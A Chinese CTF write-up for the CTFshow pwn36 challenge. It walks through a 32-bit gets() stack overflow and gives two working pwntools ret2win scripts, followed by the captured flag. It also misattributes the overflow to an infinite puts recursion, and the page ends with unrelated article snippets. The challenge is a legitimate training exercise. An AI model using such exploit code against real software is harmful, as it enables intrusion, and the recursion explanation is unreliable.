CTFshow-PWN-栈溢出(pwn36)

存在后门函数,如何利用?

好好好,终于到了这种有后门函数的了

checksec 检查一下:

32 位程序,RELRO 保护部分开启

RWX:      Has RWX segments

存在可读可写可执行的段 

使用 ida32 看 main 函数

跟进 ctfshow 函数:

声明了一个长度为 36 字节的字符数组 s,调用 gets 函数,并将 s 数组作为参数传递给它,然后将 gets 函数的返回值作为 ctfshow 函数的返回值。

这里 s 数组存在栈溢出的可能,具体看后面的分析,

我们先记录造成栈溢出的函数的地址到 ebp 的距离:

这里是 28h,也就是 0x28,对于 32 位程序,我们 payload 还需要加 4 。

(根据程序是 32 位还是 64 位,对应加上 4 或 8 个字节的 ebp(栈底))

我们再来看一下 puts 函数:

这个特定的 puts 函数定义中,函数体内部再次调用了 puts 函数,并且传递了相同的参数 s。

存在问题:

每次调用 puts 函数时,它都会再次进入函数体内,然后又调用 puts 函数,这样就形成了无限递归调用。每次递归调用都会在栈上分配一些内存空间来存储函数的局部变量、参数和返回地址。由于这个递归没有终止条件,栈空间会被无限地占用,最终导致栈溢出。

栈溢出条件存在,那么接下来我们找可利用函数,

这里我们找到了一个 get_flag() 函数:

打开名为 "/ctfshow_flag" 的文件,从中读取内容,然后将内容输出到标准输出(就是输出 flag)

shift+F12并没有直接看到 get_flag() 函数

搜索一下:

发现 get_flag 函数的地址:0x8048586

也可以使用其他工具获取 get_flag() 函数的地址:

gdb ./pwn

gdb 是一个用于调试程序的工具,启动 gdb 并加载程序以供调试

disass get_flag

disass 是 GDB 的指令,这里是反汇编名为 get_flag 的函数

同样找到 get_flag 函数的地址:0x8048586,与前面 ida 看到的一样

最后就是编写 exp 了:

这种是手动构造填充部分,然后指定目标地址的方法

from pwn import *
p = remote('pwn.challenge.ctf.show', 28250)
payload = b'a'*(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

当然也可以使用 pwntools 库中的 cyclic 函数来生成填充部分:

cyclic 函数会生成一个特定长度的字符串,其中包含了重复的字符序列

from pwn import *
context.log_level = 'debug'
# p = process('./pwn')
p = remote('pwn.challenge.ctf.show', 28250)
# p.recv()
payload = cyclic(0x28+4) + p32(0x8048586)
p.sendline(payload)
p.interactive()

使用 python 运行我们的 exp 即可拿到 flag

ctfshow{9f91cd56-6118-46c2-b05d-df0ac9996aa6} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/641633.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在Qt助手(Assistant)中查看Qt5的所有模块

2024年4月23日,周二上午 选择“内容”选项卡,列表里面的内容就是Qt5的所有模块

轻松上手,无缝对接:详述如何接入企讯通空号检测接口API

企讯通空号检测接口API作为一款高效、精准的手机号码状态检测工具,能够帮助企业及开发者快速识别手机号码的有效性,优化通讯资源,提升营销效果。本篇文章将带领您一步步了解如何轻松、无缝地对接企讯通空号检测接口API,让您的业务…

探秘Meta AI巨无霸:LLaMA大语言模型解析!

目录 福利:文末有chat-gpt纯分享,无魔法,无限制 Abstract Introduction Approach Pre-training Data Tokenizer Architecture Pre-normalization SwiGLU激活函数 Rotary Embeddings Optimizer Main results 总结 Meta的LLaMA大模…

【基础算法】双指针

1.移动零 移动零 思路: 利用双指针算法 cur:从左往右扫描数组,遍历数组 dest:处理好的区间包括dest dest初始化为-1,因为刚开始dest前应该没有非零元素。 即将非零元素移到dest之前即可 class Solution { public…

【黑马点评Redis——003优惠券秒杀】

1.优惠券秒杀 1.1 全局ID生成器 1.1.1 什么是全局ID生成器 全局ID生成器,是一种在分布式系统下用来生成全局唯一ID的工具。 需要满足以下特性: 唯一性高可用高性能递增性安全性 1.1.2 为什么需要全局ID生成器? 自增ID存在的问题&#…

nfs网络存储配置

准备:yum install rpcbind yum install nfs-server 一台服务器:192.168.220.131 一台客户端:192.168.220.220 服务器: 先启动rpcbind服务:systemctl restart rpcbind 在启动…

同旺科技 USB TO SPI / I2C适配器读写24LC256--字节写

所需设备: 1、USB 转 SPI I2C 适配器;内附链接 2、24LC256芯片 适应于同旺科技 USB TO SPI / I2C适配器升级版、专业版; 00地址写入一个字节数据AA,并读回验证; 单字节写时序: 读字节时序: …

文件上传服务器、文件展示等异步问题

问题: 文件上传模块:当文件已经上传完成,文件进度已经走完了,但是服务器响应还没有返回结果,出现了,获取不到上传后的文件路径,需要等待服务器返回结果后,才能获取文件路径并点击跳…

Qt 跨平台开发的一丢丢总结

Qt 跨平台开发 文章目录 Qt 跨平台开发摘要第一 \ & /第二 神奇{不能换行显示第三 预处理宏 关键字: Qt、 win、 linux、 lib、 MSVC 摘要 最近一直在琢磨Qt跨平台开发的问题,缘由有以下几个, 首先第一个,我们目前开发…

1.5 掌握Scala内建控制结构

本次课通过一系列编程任务和案例,深入讲解了Scala编程语言中的控制结构。 条件表达式 Scala的条件表达式使用if-else结构,允许根据条件执行不同的代码分支。与Java相比,Scala的条件表达式更加简洁,并且可以直接返回相应的值。 …

配置网络设备的密码设置以及忘记密码的恢复方式以及实现全网互通

1.实验拓扑图: 2.实验需求: 1.推荐步骤 1.1配置IP: 不过多说了,较为基础(略) 2.推荐步骤 2.所有网络设备配置console接口密码 首先进入全局模式,输入以下代码(进入接口console接口0给其配置密…

玩原神玩的!30本提升你视野、眼界和格局的好书不如你挑的一本适合自己的书!——早读(逆天打工人爬取热门微信文章解读)

许久不见,雨天坐公车,别是一番滋味在心头 引言Python 代码第一篇 洞见 人民日报推荐:30本提升你视野、眼界和格局的好书第二篇 人民日报 来了!新闻早班车要闻社会政策 结尾 不要着急 最好的总会在最不经意的时候出现 意外的六分钟…